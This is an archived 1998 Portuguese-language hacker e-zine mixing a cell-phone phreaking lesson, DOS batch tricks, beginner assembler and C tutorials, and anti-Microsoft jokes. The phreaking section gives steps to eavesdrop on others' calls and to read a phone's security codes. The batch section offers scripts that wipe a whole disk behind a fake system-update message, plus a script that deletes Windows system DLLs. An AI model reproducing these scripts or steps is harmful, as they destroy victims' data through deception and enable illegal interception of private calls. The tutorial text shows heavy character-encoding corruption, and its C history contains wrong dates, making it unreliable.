ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/Psico Cyber/psico003
Feito integralmente por Na_Ideia !
ano 01  numero 03 - setembro de 1998 !

    pppppppppp   sssssssssss   ii   cccccccccc     oooooooooooo
     pp       p   ss            ii   cc             oo        oo
      pp       p   ss            ii   cc             oo        oo
       pp       p   ss            ii   cc             oo        oo
        pppppppppp   sssssssssss   ii   cc             oo        oo
         pp                    ss   ii   cc             oo        oo
          pp                    ss   ii   cc             oo        oo
           pp                    ss   ii   cc             oo        oo
            pp                    ss   ii   cc             oo        oo
             pp           sssssssssss   ii   ccccccccccc    oooooooooooo
                                                                   CYBER

        pode ser downloadeado de http://www.angelfire.com/id/psicocyber

              MELHOR SE ABERTO NO EDIT DO DOS OU ALGO PARECIDO
                          (editor de txt)

****************************************************************************
* ESTE ZINE TEM COMO OBJETIVO A INFORMACAO, POR ISSO NAO ME RESPONSABILIZO *
* POR QUALQUER ATO IRRESPONSAVEL E/OU IMBECIL FEITO POR QUEM LER ESSE ZINE *
* TAMBEM NEM RECOMENDO A PRATICA DE ATOS ILEGAIS AQUI CONTIDOS !!          *
****************************************************************************

                      Alerta

            Se o que vc procura e soh codigo de ViRuS ou apenas dicazinhas
            de invadir sistemas alheios veio ao zine errado !!
            Aqui vc ira fazer minicursos que irao lhe proporcionar
            um entendimento melhor da BANANA !!!!!!!

 Indice :
         Phreak    aula 3/?
         SO
         Assembler aula 2/?
         C         aula 1/?
         AbOrTi rEtRiEi fAiO !

 @#@#@#@#@#@##@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@##@#@#@###@#@#@#@#@#@#@#@

                       PHREAK    aula 3

    Nessa aula entraremos no topico - CELULARES, que eh hoje em dia
      um enorme campo para o phreaker, pode-se ouvir outras conversas,
      pode-se clonar linhas, ligar sem pagar , etc..

    O celular nada mais eh que um radio transmisor que opera na faixa
      dos 800 Mhz (isso na geral, pois eles podem ser programados para
      operar em outras frequencias tambem). A Partir desta teoria per-
      cebe-se entao que o celular nao eh uma invencao do sec. 21 como
      dizem, eh apenas um radio transmisor melhorado, com novas funcoes
      e programavel.

                  Ouvindo conversas alheias

   Para ouvir outras conversas eh muito simples, primeiro vc tera que
     saber como eh que ativa o "test mode" do celular.

  Isso nao eh valido para os modelos mais novos como os da linha Elite,
  StarTec, entre outros. Para saber, retire a bateria e observe se a
  3 pinos (positivo, negativo e o test mode), se houver esse 3 pinos eh
  que esse esquema funciona! A maioria dos MOTOROLA "veio de guerra" da.

  Retire a bateria e observe que ha 3 pinos (como dito acima).
  O primeiro pino serve para o polo positivo da bateria.
  O segundo (mais afundado) eh o test mode (veja que este nao tem contato
    com a bateria.
  E o terceiro obviamente e o polo negativo.

  Vc pega entao algo que transmita eletricidade para fazer o contato
   da bateria e o pino do "test mode" (um pedaco de papel alumunio
   serve), coloca-se entao o aluminio no pino do meio de modo que este
   escoste na bateria do celular ao recoloca-la. Ligue-o .
  Se ficar aparecendo um monte de numero loko eh que o esquema deu certo
   se nao retire a bateria e ajeite ou coloque mais papel aluminio.

  Dentro do "test mode" aperte "#" para ativar a recepcao de comandos.
  Ira aparecer na tela a msg "  U5  '" - isto mostra que a recepcao
    de comandos esta OK.

  Digite: 08 #  ---- escuta-se entao o ruido caracteristico de radio
    transmicao.
  Digite: 11???? # ---- os 4 numeros seguidos do "11" eh da sua
    escolha, se a chiadera continuar, troque os 4 ultimos numeros,
    fique chutando ate encontrar um canal que esteja sendo usado.

  O comando "01" reseta o "test mode".

                 Os comandos sempre sao acrecidos de "#" !!

  Vendo e/ou mudando a senha de seguranca e senha de acesso (lock)

   Entre no "test mode";
   Ative a recepcao de comandos;
   Entre com o comando "55"
   A setima funcao eh a senha de seguranca (eh essa senha que o cara da
     companhia telefonica usa para abilitar o fone) 6 digitos;
   A oitava eh a senha de acesso (lock) tem 3 digitos.

  +=-+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+

                              SO

     A secao de SO saiu miada pois no psicocyber 04 ta a secao completa !

                     Uso do "null" em bath files

   Para nao aparecer que esta apagando no "deltree /y *.*" acrecente
    " > null" logo apos o comando.

   Ele ira apagar tudo sem mostrar nada, e no final cria um arquivo
     de log chamado "null" com o texto da apagacao !

   Ou use o esquema abaixo mandado pelo leitor Kov !

@echo off
echo.
echo.
echo O MS-DOS detectou novas configuracoes que deverao ser atualizadas.
echo Aguarde...
echo.
echo.
cd\
deltree /y *.* >nul

Os comandos acima vao mostrar uma mensagem para que o lammer naum se as_
suste com a leitura exceciva do disco e o >nul naum vai deixar o deltree
mostrar nada na tela.

No bat que deleta os DLLs e SYSs do windos eu discordo do comando:
cd\windows\system.
Pois naum saum todos os usuarios que tem o windows nesse diretorio.
Assim podemos usar uma variavel do sistema, a %windir% desse jeito:
@echo off
cd\%windir%\system
attrib *.dll -h -r -s
del *.dll
                                                       By Kov!!

 Valeu pelo mail Kov !!

 Se vc tiver algo interecante sobre algum assunto mencionado no zine, ou
  discorda de algo, mande um mail que ele sera publicado com seus devidos
  creditos !!

----------------------------------------------------------------------

                        ASSEMBLER aula 02

2.2.CONCEITOS BµSICOS

Conte£do:

2.2.1.Informa‡äes nos computadores
2.2.2.M‚todos de representa‡Æo de dados

2.2.1.Informa‡Æo no computador:

	2.2.1.1.Unidades de informa‡Æo
	2.2.1.2.Sistemas num‚ricos
	2.2.1.3.Convertendo n£meros bin rios para decimais
	2.2.1.4.Convertendo n£meros decimais para bin rios
	2.2.1.5.Sistema hexadecimal

2.2.1.1.Unidades de informa‡Æo

Para o PC processar a informa‡Æo, ‚ necess rio que ela esteja em c‚lulas
especiais, chamadas registradores.

Os registradores sÆo grupos de 8 ou 16 flip-flops.

Um flip-flop ‚ um dispositivo capaz de armazenar 2 n¡veis de voltagem, um
baixo, geralmente 0.5 volts, e outro comumente de 5 volts. O n¡vel baixo de
energia no flip-flop ‚ interpretado como desligado ou 0, e o n¡vel alto,
como ligado ou 1. Estes estados sÆo geralmente conhecidos como bits, que sÆo
a menor unidade de informa‡Æo num computador.

Um grupo de 16 bits ‚ conhecido como palavra; uma palavra pode ser dividida
em grupos de 8 bits chamados bytes, e grupos de 4 bits chamados nibbles.

2.2.1.2.Sistemas num‚ricos

O sistema num‚rico que n¢s usamos diariamente ‚ o decimal, mas este sistema
nÆo ‚ conveniente para m quinas, pois ali as informa‡äes tˆm que ser
codificadas de modo a interpretar os estados da corrente (ligado-desligado);
este modo de c¢digo faz com que tenhamos que conhecer o c lculo posicional
que nos permitir  expressar um n£mero em qualquer base onde precisarmos
dele.

 poss¡vel representar um determinado n£mero em qualquer base atrav‚s da
seguinte f¢rmula:

Onde n ‚ a posi‡Æo do d¡gito, iniciando da direita para a esquerda e
numerando de 0. D ‚ o d¡gito sobre o qual n¢s operamos e B ‚ a base num‚rica
usada.

2.2.1.3.Convertendo n£meros bin rios para decimais

Quando trabalhamos com a Linguagem Assembly encontramos por acaso a
necessidade de converter n£meros de um sistema bin rio, que ‚ usado em
computadores, para o sistema decimal usado pelas pessoas.

O sistema bin rio ‚ baseado em apenas duas condi‡äes ou estados, estar
ligado(1), ou desligado(0), portanto sua base ‚ dois.

Para a conversÆo, podemos usar a f¢rmula de valor posicional:

Por exemplo, se tivermos o n£mero bin rio 10011, tomamos cada d¡gito da
direita para a esquerda e o multiplicamos pela base, elevando … potˆncia
correspondente … sua posi‡Æo relativa:

Binary:         1         1       0       0       1

Decimal:       1*2^0  + 1*2^1 + 0*2^2 + 0*2^3 + 1*2^4

            =   1     +   2   +   0   +   0   +  16  = 19 decimal.

O caracter ^ ‚ usado em computa‡Æo como s¡mbolo para potˆncia e * para a
multiplica‡Æo.

2.2.1.4.Convertendo n£meros decimais para bin rio

H  v rios m‚todos para se converter n£meros decimais para bin rio; apenas um
ser  analizado aqui. Naturalmente a conversÆo com uma calculadora cient¡fica
‚ muito mais f cil, mas nem sempre podemos contar com isso, logo o mais
conveniente ‚, ao menos, sabermos uma f¢rmula para fazˆ-la.

O m‚todo resume-se na aplica‡Æo de divisäes sucessivas por 2, mantendo o
resto como o d¡gito bin rio e o resultado como o pr¢ximo n£mero a ser
dividido.

Tomemos como exemplo o n£mero decimal 43.

43/2=21 e o resto ‚ 1; 21/2=10 e o resto ‚ 1; 10/2=5 e o resto ‚ 0;
5/2=2 e o resto ‚ 1; 2/2=1 e o resto ‚ 0; 1/2=0 e o resto ‚ 1.

Para construir o equivalente bin rio de 43, vamos pegar os restos obtidos de
baixo para cima, assim temos 101011.

2.2.1.5.Sistema hexadecimal

Na base hexadecimal temos 16 d¡gitos, que vÆo de 0 a 9 e da letra A at‚ a F,
estas letras representam os n£meros de 10 a 15. Portanto contamos:
0,1,2,3,4,5,6,7,8,9,A,B,C,D,E, e F.

A conversÆo entre n£meros bin rios e hexadecimais ‚ f cil. A primeira coisa
a fazer ‚ dividir o n£mero bin rio em grupos de 4 bits, come‡ando da direita
para a esquerda. Se no grupo mais … direita sobrarem d¡gitos, completamos
com zeros.

Tomando como exemplo o n£mero bin rio 101011, vamos dividi-lo em grupos de 4
bits:

10;1011

Preenchendo o £ltimo grupo com zeros (o um mais … esquerda):

0010;1011

A seguir, tomamos cada grupo como um n£mero independente e consideramos o
seu valor decimal:

0010=2;1011=11

Entretanto, observa-se que nÆo podemos representar este n£mero como 211,
isto seria um erro, uma vez que os n£meros em hexa maiores que 9 e menores
que 16 sÆo representados pelas letras A,B,...,F. Logo, obtemos como
resultado:

2Bh, onde o "h" representa a base hexadecimal.

Para a conversÆo de um n£mero hexadecimal em bin rio ‚ apenas necess rio
inverter os passos: tomamos o primeiro d¡gito hexadecimal e o convertemos
para bin rio, a seguir o segundo, e assim por diante.

                        ... ate o proximo, estudem bem isso, pois vai
                        comecar a complicar !!

 ------- \\ ---------------------------------------- // ---------------

                     LINGUAGEM C  aula 01

        Inicia aqui o mini-curso de Linguagem C !!

1. Fundamentos da Linguagem C

        Neste capitulo serÆo vistos os fundamentos da linguagem C. O
   conceito de linguagem de programa‡Æo, linguagens de alto e baixo n¡vel,
   linguagens gen‚ricas e especificas. Ser  visto um pouco do hist¢rico
   da cria‡Æo da linguagem e a descri‡Æo das caracter¡sticas mais
   importantes da linguagem C.Finalmente, ser  visto o aspecto geral
   de um c¢digo fonte escrito em C.

	1.1	Linguagens de Programa‡Æo

	Um programa de computador ‚ um conjunto instru‡äes que representam
    um algoritmo para a resolu‡Æo de algum problema. Estas instru‡äes sÆo
    escritas atrav‚s de um conjunto de c¢digos (s¡mbolos e palavras).
    Este conjunto de c¢digos possui regras de estrutura‡Æo l¢gica e
    sint tica pr¢pria. Dizemos que este conjunto de s¡mbolos e regras
    formam uma linguagem de programa‡Æo.

	1.1.1	Exemplos de c¢digos.

	Existem muitas linguagens de programa‡Æo. Podemos escrever um
     algoritmo para resolu‡Æo de um problema por interm‚dio de qualquer
     linguagem. A seguir mostramos alguns exemplos de trechos de c¢digos
     escritos em algumas linguagens de programa‡Æo.

	Exemplo: trecho de um algoritmo escrito em Pseudo-linguagem que
     recebe um n£mero num e escreve a tabuada de 1 a 10 para este valor:
	leia num
	para n de 1 at‚ 10 passo 1 fa‡a
	  tab ? num * n
	  imprime tab
	fim fa‡a

	Exemplo: trecho do mesmo programa escrito em linguagem C:
	scanf(&num);
	for(n = 1; n <= 10; n++){
	  tab = num * n;
	  printf("\n %d", tab);
	};

	Exemplo: trecho do mesmo programa escrito em linguagem Basic:
	10 input num
	20 for n = 1 to 10 step 1
	30 let tab = num * n
	40 print chr$ (tab)
	50 next n

	Exemplo: trecho do mesmo programa escrito em linguagem Fortran:
	       read (num);
	   do 1 n = 1:10
	     tab = num * n
	     write(tab)
	10 continue

	Exemplo: trecho do mesmo programa escrito em linguagem Assembly
     para INTEL 8088:
	MOV CX,0
	IN  AX,PORTA
	MOV DX,AX
	LABEL:
	INC CX
	MOV AX,DX
	MUL CX
	OUT AX, PORTA
	CMP CX,10
	JNE LABEL

	1.1.2	Linguagens de baixo e alto n¡vel.

	Podemos dividir, genericamente, as linguagens de programa‡Æo em
    dois grandes grupos: as linguagens de baixo n¡vel e as de alto n¡vel:

	Linguagens de baixo n¡vel: SÆo linguagens voltadas para a m quina,
    isto ‚, sÆo escritas usando as instru‡äes do microprocessador do
    computador. SÆo genericamente chamadas de linguagens Assembly.

	Vantagens: Programas sÆo executados com maior velocidade de
    processamento. Os programas ocupam menos espa‡o na mem¢ria.

	Desvantagens: Em geral, programas em Assembly tem pouca
    portabilidade, isto ‚, um c¢digo gerado para um tipo de processador
    nÆo serve para outro. C¢digos Assembly nÆo sÆo estruturados, tornando
    a programa‡Æo mais dif¡cil.

	Linguagens de alto n¡vel: SÆo linguagens voltadas para o ser
    humano. Em geral utilizam sintaxe estruturada tornando seu c¢digo
    mais leg¡vel. Necessitam de compiladores ou interpretadores para
    gerar instru‡äes do microprocessador. Interpretadores fazem a
    interpreta‡Æo de cada instru‡Æo do programa fonte executando-a dentro
    de um ambiente de programa‡Æo, Basic e AutoLISP por exemplo.
    Compiladores fazem a tradu‡Æo de todas as instru‡äes do programa
    fonte gerando um programa execut vel. Estes programas execut veis
    (*.exe) podem ser executados fora dos ambientes de programa‡Æo, C e
    Pascal por exemplo. As linguagens de alto n¡vel podem se distinguir
    quanto a sua aplica‡Æo em gen‚ricas como C, Pascal e Basic ou
    espec¡ficas como Fortran (c lculo matem tico), GPSS (simula‡Æo),
    LISP (inteligˆncia artificial) ou CLIPPER (banco de dados).

	Vantagens: Por serem compiladas ou interpretadas, tem maior
    portabilidade podendo ser executados em varias plataformas com
    pouqu¡ssimas modifica‡äes. Em geral, a programa‡Æo torna-se mais
    f cil por causa do maior ou menor grau de estrutura‡Æo de suas
    linguagens.

	Desvantagens: Em geral, as rotinas geradas (em linguagem de
    maquina) sÆo mais gen‚ricas e portanto mais complexas e por isso
    sÆo mais lentas e ocupam mais mem¢ria.

	1.2	Linguagem C

	A linguagem C ‚ uma linguagem de alto n¡vel, gen‚rica. Foi
    desenvolvida por programadores para programadores tendo como meta
    caracter¡sticas de flexibilidade e portabilidade. O C ‚ uma linguagem
    que nasceu juntamente com o advento da teoria de linguagem estruturada
    e do computador pessoal. Assim  tornou-se rapidamente uma linguagem
    "popular" entre os programadores. O C foi usado para desenvolver o
    sistema operacional UNIX, e hoje esta sendo usada para desenvolver
    novas linguagens, entre elas a linguagem  C++ e Java.

	1.2.1	Caracter¡sticas do C

	Entre as principais caracter¡sticas do C, podemos citar:

* O C ‚ uma linguagem de alto n¡vel com uma sintaxe bastante estruturada
   e flex¡vel tornando sua programa‡Æo bastante simplificada.

* Programas em C sÆo compilados, gerando programas execut veis.

* O C compartilha recursos tanto de alto quanto de baixo n¡vel, pois
   permite acesso e programa‡Æo direta do microprocessador. Com isto,
   rotinas cuja dependˆncia do tempo ‚ cr¡tica, podem ser facilmente
   implementadas usando instru‡äes em Assembly. Por esta razÆo o  C ‚
   a linguagem preferida dos programadores de aplicativos.

* O C ‚ uma linguagem estruturalmente simples e de grande portabilidade.
   O compilador C gera c¢digos mais enxutos e velozes  do que muitas
   outras linguagens.

* Embora estruturalmente simples (poucas fun‡äes intr¡nsecas) o C nÆo
   perde funcionalidade pois permite a inclusÆo de uma farta quantidade
   de rotinas do usu rio. Os fabricantes de compiladores fornecem uma
   ampla variedade de rotinas pr‚-compiladas em bibliotecas.

	1.2.2	Hist¢rico

1970:	Denis Ritchie desenha uma linguagem a partir do BCPL nos
         laborat¢rios da Bell Telephones, Inc. Chama a linguagem de B.

1978: 	Brian Kerningham junta-se a Ritchie para aprimorar a linguagem.
         A nova versÆo chama-se C.
	Pelas suas caracter¡sticas de portabilidade e estrutura‡Æo j
         se torna popular entre os programadores.

1980:   A linguagem ‚ padronizada pelo American National Standard
         Institute: surge o ANSI C.

1990:   A Borland International Co, fabricante de compiladores profissionais
        escolhe o C e o Pascal como linguagens de trabalho para o seu
        Integrated Development Enviroment (Ambiente Integrado de
        Desenvolvimento): surge o Turbo C.

1992:   O C se torna ponto de concordƒncia entre te¢ricos do desenvolvimento
         da teoria de Object Oriented Programming (programa‡Æo orientada a
         objetos): surge o C++.

	1.3	Estrutura de um programa em C

	Um programa em C ‚ constitu¡do de:

* um cabe‡alho contendo as diretivas de compilador onde se definem o valor
   de constantes simb¢licas, declara‡Æo de vari veis, inclusÆo de
   bibliotecas, declara‡Æo de rotinas, etc.

* um bloco de instru‡äes principal e outros blocos de rotinas.

* documenta‡Æo do programa: coment rios.

	Programa Exemplo: O arquivo e0101.cpp  cont‚m um programa para
         calcular a raiz quadrada de um n£mero real positivo:

	1.3.1 	Conjunto de caracteres

	Um programa fonte em C ‚ um texto nÆo formatado escrito em um
         editor de textos usando um o conjunto padrÆo de caracteres ASCII.
         A seguir estÆo os caracteres utilizados em C:

	Caracteres v lidos:
	a b c d e f g h i j k l m n o p q r s t u v w x y z
	A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
	1 2 3 4 5 6 7 8 9 0
 	+ - * / \ = | & ! ? # % ( ) { } [ ] _ ' " . , : < >

	Caracteres nÆo v lidos:
	@ $ ù   ‚ ä ‡

	Os caracteres acima sÆo v lidos apenas em strings. Veja se‡Æo 2.1.4.

	1.3.2	Coment rios

	Em C, coment rios podem ser escritos em qualquer lugar do texto
         para facilitar a interpreta‡Æo do algoritmo. Para que o coment rio
         seja identificado como tal, ele deve ter um /* antes e um */
         depois.

   Observe que no exemplo e0101.cpp todo o cabe‡alho esta dentro de um
    coment rio.

	Exemplo:
	/* esta eï uma linha de coment rio em C */

	Observa‡Æo: O C++ permite que coment rios sejam escritos de outra
         forma: colocando um // em uma linha, o compilador entender  que
         tudo que estiver a direita do s¡mbolo ‚ um coment rio.

   Observe no programa exemplo e0101.cpp as linhas de coment rios colocadas
    a direita dos comandos.

	Exemplo:
	// este eï um coment rio valido apenas em C++

	1.3.3 	Diretivas de Compila‡Æo

     Em C, existem comandos que sÆo processados durante a compila‡Æo do
      programa. Estes comandos sÆo genericamente chamados de diretivas
      de compila‡Æo. Estes comandos informam ao compilador do C
      basicamente quais sÆo as constantes simb¢licas usadas no programa
      e quais bibliotecas devem ser anexadas ao programa execut vel.
      A diretiva #include diz ao compilador para incluir na compila‡Æo
      do programa outros arquivos. Geralmente estes arquivos contem
      bibliotecas de fun‡äes ou rotinas do usu rio. Voltaremos a
      trabalhas esta diretiva com mais detalhe no cap¡tulo 5. A diretiva
      #define diz ao compilador quais sÆo as constantes simb¢licas
      usadas no programa. Veremos sobre esta diretiva no capitulo 2.

	1.3.4 	Declara‡Æo de vari veis

       Em C, como na maioria das linguagens, as vari veis devem ser
        declaradas no inicio do programa.
      Estas vari veis podem ser de v rios tipos: int (inteiro), float
       (real de simples precisÆo) e outras que serÆo vistas no capitulo
       2. No exemplo acima num, raiz, inf e sup sÆo declaradas como
       vari veis reais, enquanto i ‚ declarada como uma vari vel inteira.

	1.3.5 	Entrada e sa¡da de dados

      Em C existem varias maneiras de fazer a leitura e escrita de
       informa‡äes. Estas opera‡äes sÆo chamadas de opera‡äes de entrada
       e sadia. Veremos no capitulo 3 algumas fun‡äes de entrada e sadia de
       informa‡äes via teclado e tela. Outras fun‡äes de leitura e escrita
       em arquivos, sadia gr fica, fun‡äes de manipula‡Æo de mouse, entrada
       e sadia de informa‡äes via portas serial e paralela serÆo vistas
       em cap¡tulos posteriores. No exemplo acima printf ‚ uma fun‡Æo de
       escrita na tela, scanf ‚ uma fun‡Æo de leitura de teclado.

	1.3.6 	Estruturas de controle

       A linguagem C permite uma ampla variedade de estruturas de controle
        de fluxo de processamento. Estas estruturas serÆo vistas em
        detalhes nos cap¡tulos 4 e 5. Duas estruturas das estruturas
        b sicas (decisÆo e repeti‡Æo) sÆo muito semelhantes as estruturas
        usadas nas Pseudo-linguagem algor¡tmicas:

	Estrutura de DecisÆo: Permite direcionar o fluxo l¢gico para dois
         blocos distintos de instru‡äes conforme uma condi‡Æo de controle.

	Pseudo-linguagem                     Linguagem C

	se condi‡Æo                          if(condi‡Æo){
	  entÆo bloco 1                        bloco 1;
	  senÆo bloco 2                      }else{
	fim se                                 bloco 2;
                                          };
	Estrutura de Repeti‡Æo: Permite executar repetidamente um bloco
         de instru‡äes ate que uma condi‡Æo de controle seja satisfeita.

	Pseudo-linguagem                     Linguagem C

	fa‡a                                 do{
	  bloco                                bloco;
	at‚ condi‡Æo                      	}while(condi‡Æo);

                                 ... mais C no proximo !!

<>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

               /-----------------------------\
               |   AbOrTi   rEtRiEi   fAiO   |
               \-----------------------------/

SE A MICROSOFT FABRICASSE CARROS...

1. Toda vez que eles repintassem as linhas da estrada vocˆ teria que comprar
  um carro novo.
2. Ocasionalmente seu carro morreria na auto-estrada sem nenhuma  razÆo
  aparente, e vocˆ teria apenas que aceitar isso, religa-lo e seguir adiante.
3. Ocasionalmente, a execu‡Æo de uma manobra faria com que seu carro parasse
  e falhasse e vocˆ teria que reinstalar o motor. Por alguma estranha razÆo,
  vocˆ aceitaria isso tambem.
4. Vocˆ poderia ter apenas uma pessoa dentro do carro de cada vez,  a menos
  que vocˆ comprasse o "Carro95" ou o "CarroNT". Mas, depois vocˆ ainda teria que
  comprar mais assentos.
5. A Macintosh faria um carro que seria movido a energia solar, confi vel,
  cinco vezes mais r pido e duas vezes mais f cil de dirigir  - mas, apenas
  poderia rodar em 5 porcento das estradas.
6. Os propriet rios de carros Macintosh poderiam conseguir car¡ssimos
  "upgrades" para carros Microsoft, o que faria seus carros rodarem  muito
  mais lentamente.
7. Os indicadores luminosos de falta de ¢leo, gasolina e bateria seriam
  substitu¡dos por um simples "Indicador luminoso geral" (aqui ‚ feita uma
  ironia ao famoso "General protection fault" do Windows, onde ‚  dito que
  o indicador chamaria-se "General car fault").
8. Os novos assentos obrigariam todos a terem o mesmo tamanho de bunda.
9. O sistema de "airbag" perguntaria "Vocˆ tem certeza ?" (Are you sure ?)
  antes de entrar em a‡Æo.
10.Se vocˆ se envolvesse numa colisÆo, vocˆ nÆo teria a menor id‚ia  do que
  aconteceria depois.

E se Bill Gates fabricasse o Viagra?

1. Provavelmente, o MSViagra ainda estaria em testes...nÆo teria sido
  lan‡ado!
2. Na bula vem um cupom para um futuro upgrade para o MSViagra 2...
3. O usuario teria uma ere‡Æo, mas ele misteriosamente terminaria no
  meio do ato por motivo inexplicado...
4. O usuario teria a ere‡Æo, mas descobriria aterrorizado que ela nÆo
  poderia proporcionar a ele um orgasmo...s¢ a partir da versÆo MSViagra
  2...mas o fabricante promete um patch no formato de uma pequena pilula
  amarela para tomar durante o ato...
5. Vocˆ toma a pilula, ela nÆo funciona e vocˆ liga para o laborat¢rio
  para reclamar. O laborat¢rio entÆo lhe convence que vocˆ nÆo esta tomando a
  p¡lula direito, ou com muita  gua, ou com pouca  gua, ou sem  gua
  nenhuma, mas sempre a op‡Æo que voce NÇO deu...
6. Vocˆ compra o MSViagra, mas junto ao pacote vem um vidrinho de
  vitamina C com um gosto horr¡vel. E o MSViagra s¢ funciona se voce tomar essa
  maldita vitamina...
7. Quando vocˆ toma o MSViagra, v rios efeitos colaterais surgem: dores
  de cabe‡a, ausencia de sentidos, como olfato e paladar e outras coisas. Mas
  tudo isso ‚ apenas um detalhe, perto do imenso prazer que o MSViagra
  vai lhe proporcionar...
8. Depois de instalada a ere‡Æo, vocˆ descobre que nÆo consegue
  desinstal -la...
9. Vocˆ descobrir  que so sente atra‡Æo por determinadas mulheres: as
  fabricadas pela Microsoft.
10. Junto com o MSViagra, vocˆ receber  um pacote de inumeros remedios
  para doen‡as que vocˆ nÆo possui...
11. NÆo vir  escrito em lugar nenhum, mas se vocˆ reparar bem, na
  verdade nÆo tera uma ere‡Æo real. Apenas foi convencido de que tem, o que,
  no fundo no fundo, ‚ a mesma coisa...

   Contribue com o zine, mande piadas da Microsoft ou do Bill Gates !!

                      -------\/\/\/\/\--------

    HP   -   www.angelfire.com/id/psicocyber
    E-Mail - naideia@yahoo.com

     /\/ /\   | |] { | /\